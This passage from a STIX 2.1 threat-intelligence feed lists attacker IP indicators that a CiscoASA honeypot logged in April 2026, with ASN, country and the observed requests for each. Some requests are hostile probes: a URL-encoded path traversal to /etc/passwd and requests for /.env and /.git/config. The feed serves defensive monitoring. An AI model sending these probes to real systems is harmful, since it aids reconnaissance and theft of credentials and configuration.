          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T17:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.218.118.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T17:20:11.000Z",
      "valid_until": "2026-05-08T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-06T16:52:50.252Z",
          "last_seen": "2026-04-06T16:52:53.256Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T19:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: TH; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--e2035372-83d0-4bef-bf06-052439dac9cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '118.193.56.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:20:05.000Z",
      "valid_until": "2026-05-08T19:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-06T18:43:12.110Z",
          "last_seen": "2026-04-06T18:43:50.734Z",
          "country": "Thailand",
          "country_code": "TH",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T19:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--589f59a1-4a41-4c79-a773-8606641c5188",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T19:20:05.000Z",
      "valid_until": "2026-05-08T19:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-06T19:15:29.103Z",
          "last_seen": "2026-04-06T19:15:32.105Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--7d377912-d211-4ed5-991e-eb1270b01c8a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.93.7.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T20:20:10.000Z",
      "valid_until": "2026-05-08T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-06T20:03:55.151Z",
          "last_seen": "2026-04-06T20:03:58.154Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CH; ASN 15169 (Google LLC)",
      "id": "indicator--fed3a61e-8415-4737-a73c-0d7fd1f0d60b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '35.216.144.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T20:20:10.000Z",
      "valid_until": "2026-05-08T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 10,
          "first_seen": "2026-04-06T20:19:55.909Z",
          "last_seen": "2026-04-06T20:20:06.215Z",
          "country": "Switzerland",
          "country_code": "CH",
          "asn": 15169,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.env HTTP/1.1\" 404 -",
            "\"GET /.git/config HTTP/1.1\" 404 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /info.php HTTP/1.1\" 404 -",
            "\"GET /server-status HTTP/1.1\" 404 -",
            "\"GET /telescope/requests HTTP/1.1\" 404 -",
            "\"HELP\" 400 -",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CH; ASN 15169 (Google LLC)",
      "id": "indicator--c2daf7d3-664a-43c3-8b0f-58c50edf0314",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '35.216.156.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T20:20:10.000Z",
      "valid_until": "2026-05-08T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-06T20:17:01.625Z",
          "last_seen": "2026-04-06T20:17:04.628Z",
          "country": "Switzerland",
          "country_code": "CH",
          "asn": 15169,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 10439 (CariNet, Inc.)",
      "id": "indicator--be80cae7-6ae8-4fb7-b2a0-809f203f4b97",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T20:20:10.000Z",
      "valid_until": "2026-05-08T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-06T19:42:39.143Z",
          "last_seen": "2026-04-06T19:42:42.144Z",
          "country": "United States",
          "country_code": "US",
          "asn": 10439,
          "as_org": "CariNet, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398722 (Censys, Inc.)",
      "id": "indicator--4030ac0e-49b4-4854-9981-a48c7878c084",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T23:20:10.000Z",
      "valid_until": "2026-05-08T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-06T23:09:37.553Z",
          "last_seen": "2026-04-06T23:09:57.812Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398722,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--b17673c5-dbf0-4594-80f4-bcb5d04ac0c3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.215.159.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T01:20:05.000Z",
      "valid_until": "2026-05-09T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-07T00:56:15.586Z",
          "last_seen": "2026-04-07T00:56:15.586Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--c0baf657-7467-4401-bcf0-7113ce258190",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '44.211.45.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T01:20:05.000Z",
      "valid_until": "2026-05-09T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-07T00:56:04.968Z",
          "last_seen": "2026-04-07T00:56:07.972Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--2c6c8066-5639-4561-b0f5-3dc09bea9855",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.236.228.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T01:20:05.000Z",
      "valid_until": "2026-05-09T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-07T00:56:09.640Z",
          "last_seen": "2026-04-20T00:52:52.755Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T01:20:05.000Z",
      "valid_until": "2026-05-09T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 13,
          "first_seen": "2026-04-07T00:24:07.889Z",
          "last_seen": "2026-04-07T00:31:38.999Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--d806a66e-799a-48e8-9462-888c98f391da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T01:20:05.000Z",
      "valid_until": "2026-05-09T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-07T00:29:26.914Z",
          "last_seen": "2026-04-07T00:29:26.914Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--7d195c17-0554-45ef-99b5-36358eaeabdb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T01:20:05.000Z",
      "valid_until": "2026-05-09T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-07T00:29:25.160Z",
          "last_seen": "2026-04-07T00:29:25.160Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--80e19a3e-39fc-45ef-9661-85a3b7283bbf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T01:20:05.000Z",
      "valid_until": "2026-05-09T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-07T00:27:03.057Z",
          "last_seen": "2026-04-07T00:29:15.140Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--48ffadd0-e0fb-42fd-ba09-8b128deb1996",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T01:20:05.000Z",
      "valid_until": "2026-05-09T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-07T00:26:09.587Z",
          "last_seen": "2026-04-07T00:28:54.192Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--6e703ae5-aa43-419f-ac8b-4909653599f0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T01:20:05.000Z",
      "valid_until": "2026-05-09T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-07T00:28:55.394Z",
          "last_seen": "2026-04-07T00:28:55.394Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 - geo: NL; ASN 206264 (Amarutu Technology Ltd)",
      "id": "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.187.35.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T02:20:10.000Z",
      "valid_until": "2026-05-09T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-07T02:18:47.205Z",
          "last_seen": "2026-04-29T10:34:27.626Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 206264,
          "as_org": "Amarutu Technology Ltd",
          "event_types": [
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--04c079aa-7080-4773-918e-2679a08591a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.110.170.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T03:20:10.000Z",
      "valid_until": "2026-05-09T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-07T02:26:53.048Z",
          "last_seen": "2026-04-07T02:27:00.280Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T14:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 - geo: NL; ASN 51396 (Pfcloud UG (haftungsbeschrankt))",
      "id": "indicator--95ad3ab5-7bfe-4e5b-bdd4-b09c7fa7cef1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T14:20:19.000Z",
      "valid_until": "2026-05-09T14:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-07T14:01:33.937Z",
          "last_seen": "2026-04-10T09:11:44.680Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 51396,
          "as_org": "Pfcloud UG (haftungsbeschrankt)",
          "event_types": [
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-07T14:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 - geo: NL; ASN 206264 (Amarutu Technology Ltd)",
      "id": "indicator--c24038ec-dc60-4c29-851f-8887edf9bc8c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.187.35.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T14:20:19.000Z",
      "valid_until": "2026-05-09T14:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-07T13:46:15.768Z",
